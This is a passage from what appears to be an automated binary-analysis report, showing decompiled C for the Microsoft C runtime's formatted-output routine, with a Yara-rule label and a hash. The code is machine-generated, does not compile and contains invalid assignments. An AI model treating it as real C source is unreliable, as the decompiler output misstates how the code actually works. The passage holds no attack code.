Instruction Fuzzy Hash: 5B510A74B00218EFDB04DF94D491AADFB72FF88324F15C299D4456B385D635AA81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00434E44, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00434E44(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *(_t557 - 0x30) = 8;
					while(1) {
						L146:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L148:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L153:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428200(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428200(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
												 *(__ebp - 0x2b4) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428200(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b8) = E00428220(__ebp + 0x14);
										 *(__ebp - 0x2b4) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00428220(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L170;
								}
								L166:
								__eflags =  *(__ebp - 0x2b4);
								if(__eflags > 0) {
									goto L170;
								}
								L167:
								if(__eflags < 0) {
									L169:
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
									__edx =  *(__ebp - 0x2b4);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
									 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L171:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2c0);
											__eax =  *(__ebp - 0x2bc);
											__eax =  *(__ebp - 0x2bc) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2bc) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										L182:
										 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
											L186:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L190:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L216;
													}
													L191:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E004355C0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E00435600( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2c4);
															__eax = E004355C0(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L212:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E00435600(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L213;
													} else {
														L204:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L212;
														}
														L205:
														 *(__ebp - 0x2dc) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c8) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
														while(1) {
															L206:
															__ecx =  *(__ebp - 0x2cc);
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L207:
															__eax =  *(__ebp - 0x2c8);
															 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
															__edx =  *(__ebp - 0x32e) & 0x0000ffff;
															__eax = __ebp - 0x2d8;
															__ecx = __ebp - 0x2d0;
															 *(__ebp - 0x2dc) = E004340D0(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															__eflags =  *(__ebp - 0x2dc);
															if( *(__ebp - 0x2dc) != 0) {
																L209:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L208:
															__eflags =  *(__ebp - 0x2d0);
															if( *(__ebp - 0x2d0) != 0) {
																L210:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2d0);
																__ebp - 0x2d8 = E00435600( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L209;
														}
														L211:
														L213:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c4);
																__eax = E004355C0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L216:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C3E0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L218:
														 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
														_t547 =  *(_t557 - 0x251);
														 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
														if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
																 *(_t557 - 0x310) = 0;
															} else {
																 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407E18) & 0xf;
															}
														}
														L7:
														 *(_t557 - 0x250) =  *(_t557 - 0x310);
														_t506 =  *(_t557 - 0x250) * 9;
														_t536 =  *(_t557 - 0x25c);
														_t547 = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
														 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
														if( *(_t557 - 0x25c) != 8) {
															L16:
															 *(_t557 - 0x318) =  *(_t557 - 0x25c);
															__eflags =  *(_t557 - 0x318) - 7;
															if( *(_t557 - 0x318) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M00435410))) {
																case 0:
																	L18:
																	 *(_t557 - 0xc) = 0;
																	_t509 = E004310C0( *(_t557 - 0x251) & 0x000000ff, E0041ACF0(_t557 - 0x40));
																	_t562 = _t559 + 8;
																	__eflags = _t509;
																	if(_t509 == 0) {
																		L24:
																		E00435520( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t559 = _t562 + 0xc;
																		goto L218;
																	} else {
																		E00435520( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t562 = _t562 + 0xc;
																		_t541 =  *( *(_t557 + 0xc));
																		 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																		_t547 =  *(_t557 + 0xc) + 1;
																		__eflags = _t547;
																		 *(_t557 + 0xc) = _t547;
																		asm("sbb eax, eax");
																		 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																		if(_t547 == 0) {
																			_push(L"(ch != _T(\'\\0\'))");
																			_push(0);
																			_push(0x486);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			_t521 = L0041E220();
																			_t562 = _t562 + 0x14;
																			__eflags = _t521 - 1;
																			if(_t521 == 1) {
																				asm("int3");
																			}
																		}
																		L22:
																		__eflags =  *(_t557 - 0x27c);
																		if( *(_t557 - 0x27c) != 0) {
																			goto L24;
																		} else {
																			 *((intOrPtr*)(L00422D10(_t541))) = 0x16;
																			E00422AA0(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																			 *(_t557 - 0x2f4) = 0xffffffff;
																			E0041ACC0(_t557 - 0x40);
																			_t499 =  *(_t557 - 0x2f4);
																			goto L229;
																		}
																	}
																case 1:
																	L25:
																	 *(__ebp - 0x2c) = 0;
																	__edx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																	__eax =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__ecx =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) = __ecx;
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L218;
																case 2:
																	L26:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	__eflags =  *(__ebp - 0x31c) - 0x10;
																	if( *(__ebp - 0x31c) > 0x10) {
																		goto L33;
																	}
																	L27:
																	__ecx =  *(__ebp - 0x31c);
																	_t72 = __ecx + 0x435448; // 0x498d04
																	__edx =  *_t72 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435430))) {
																		case 0:
																			goto L30;
																		case 1:
																			goto L31;
																		case 2:
																			goto L29;
																		case 3:
																			goto L28;
																		case 4:
																			goto L32;
																		case 5:
																			goto L33;
																	}
																case 3:
																	L34:
																	__edx =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__eax =  *(__ebp - 0x18);
																		__eax =  *(__ebp - 0x18) * 0xa;
																		__eflags = __eax;
																		__ecx =  *((char*)(__ebp - 0x251));
																		_t96 = __ecx - 0x30; // -48
																		__edx = __eax + _t96;
																		 *(__ebp - 0x18) = __eax + _t96;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		}
																	}
																	goto L218;
																case 4:
																	L40:
																	 *(__ebp - 0x30) = 0;
																	goto L218;
																case 5:
																	L41:
																	__eax =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__edx =  *(__ebp - 0x30);
																		__edx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __edx;
																		_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																		__ecx = __edx + _t107;
																		 *(__ebp - 0x30) = __ecx;
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L218;
																case 6:
																	L47:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	__eflags =  *(__ebp - 0x320) - 0x2e;
																	if( *(__ebp - 0x320) > 0x2e) {
																		L70:
																		goto L218;
																	}
																	L48:
																	__ecx =  *(__ebp - 0x320);
																	_t115 = __ecx + 0x435470; // 0x4c7e9003
																	__edx =  *_t115 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043545C))) {
																		case 0:
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x36;
																			if( *( *(__ebp + 0xc)) != 0x36) {
																				L56:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x33;
																				if( *( *(__ebp + 0xc)) != 0x33) {
																					L59:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x64;
																					if( *( *(__ebp + 0xc)) == 0x64) {
																						L65:
																						L67:
																						goto L70;
																					}
																					L60:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x69;
																					if( *__ecx == 0x69) {
																						goto L65;
																					}
																					L61:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x6f;
																					if(__ecx == 0x6f) {
																						goto L65;
																					}
																					L62:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x75;
																					if( *( *(__ebp + 0xc)) == 0x75) {
																						goto L65;
																					}
																					L63:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x78;
																					if( *__ecx == 0x78) {
																						goto L65;
																					}
																					L64:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x58;
																					if(__ecx != 0x58) {
																						 *(__ebp - 0x25c) = 0;
																						goto L18;
																					}
																					goto L65;
																				}
																				L57:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *((char*)(__ecx + 1));
																				__eflags =  *((char*)(__ecx + 1)) - 0x32;
																				if( *((char*)(__ecx + 1)) != 0x32) {
																					goto L59;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					__ecx =  *(__ebp - 0x10);
																					__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) = __ecx;
																					goto L67;
																				}
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x34;
																			if( *((char*)(__ecx + 1)) != 0x34) {
																				goto L56;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		case 1:
																			L68:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			goto L70;
																		case 2:
																			L49:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6c;
																			if(__ecx != 0x6c) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L70;
																		case 3:
																			L69:
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			goto L70;
																		case 4:
																			goto L70;
																	}
																case 7:
																	L71:
																	__ecx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x324) = __ecx;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	__eflags =  *(__ebp - 0x324) - 0x37;
																	if( *(__ebp - 0x324) > 0x37) {
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L72:
																	_t156 =  *(__ebp - 0x324) + 0x4354dc; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M004354A0))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			__eflags = __ecx;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *(__ebp - 0x260) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00428200(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x288);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B760(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041ACF0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0x4b3bc1ec
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041ACF0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x440380; // 0x4b248c6c
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
